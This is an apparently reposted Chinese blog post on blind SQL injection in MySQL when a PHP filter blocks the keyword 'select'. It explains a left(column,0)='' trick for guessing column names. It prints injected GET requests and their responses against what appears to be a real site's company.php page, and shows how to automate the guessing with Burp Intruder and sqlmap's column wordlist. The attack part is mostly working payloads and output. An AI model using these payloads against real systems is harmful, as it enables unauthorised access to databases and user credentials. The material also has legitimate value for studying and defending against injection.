mysql过滤过滤select情况下跑字段的方法

ps:作者通过mysql中的left()函数来判断列猜测的是否正确，然后用burp跑。

过滤select的方法：

foreach($_REQUEST as $key => $value){
    if($value){
        if (substr_count(strtolower($value),'select')>0){
            die('hacker attack!');
            }
        }
    }

正面至今未遇到哪位大神能突破我的这段防注入
基本都是绕开select搞盲注
过滤select对于注入来说非常棘手
freebuf发表了一篇文章提到”碎片攻击”
最后被证明是胡扯
接着我介绍下无select的情况下猜字段
至于说有了字段有什么用,我的回答是,有了字段继续能盲注字段的值
先说明原理:

mysql> select id,user,pwd from user where user='root' and left(pwd,0)='';
+----+------+------+
| id | user | pwd  |
+----+------+------+
| 11 | root | pass |
| 17 | root | pass |
| 47 | root | pass |
| 51 | root | pass |
+----+------+------+
4 rows in set
 
mysql> select id,user,pwd from user where user='root' and left(pwdx,0)='';
1054 - Unknown column 'pwdx' in 'where clause'

当字段存在时left()返回True,否则返回False
利用该特性:

GET /qyml/company.php?user=gaoxy731024'+and+left(pass_pwd,0)=''+and+'xx'='xx HTTP/1.1
Host: www.xxoo.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8

HTTP/1.1 200 OK
Date: Thu, 02 Jan 2014 21:30:51 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Cache-Control: public, no-transform
Connection: close
Content-Type: text/html; charset=GB2312
Content-Length: 14048

GET /qyml/company.php?user=gaoxy731024'+and+left(user_name,0)=''+and+'xx'='xx HTTP/1.1
Host: www.xxoo.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8

HTTP/1.1 200 OK
Date: Thu, 02 Jan 2014 21:31:21 GMT
Server: Apache/2.2.15 (CentOS)
X-Powered-By: PHP/5.3.3
Vary: Accept-Encoding
Cache-Control: public, no-transform
Connection: close
Content-Type: text/html; charset=GB2312
Content-Length: 23418

根据长度显而易见能判读True or False

burpsuite::intruder

GET /qyml/company.php?user=gaoxy731024'+and+left(§pass_word§,0)=''+and+'xx'='xx HTTP/1.1
Host: xxoo.com
Proxy-Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36
Accept-Encoding: gzip,deflate,sdch
Accept-Language: zh-CN,zh;q=0.8

选择好选择好paylaod位置后
加载payload:字段名字典(sqlmap->/txt/common-columns.txt)
然后根据response长度判断是否成功
字典不给力的情况下
选择brute forcer吧~
last:有人在过滤select的情况下跑出了表名,求教技术细节.

转载请注明：jinglingshu的博客 » mysql过滤过滤select情况下跑字段的方法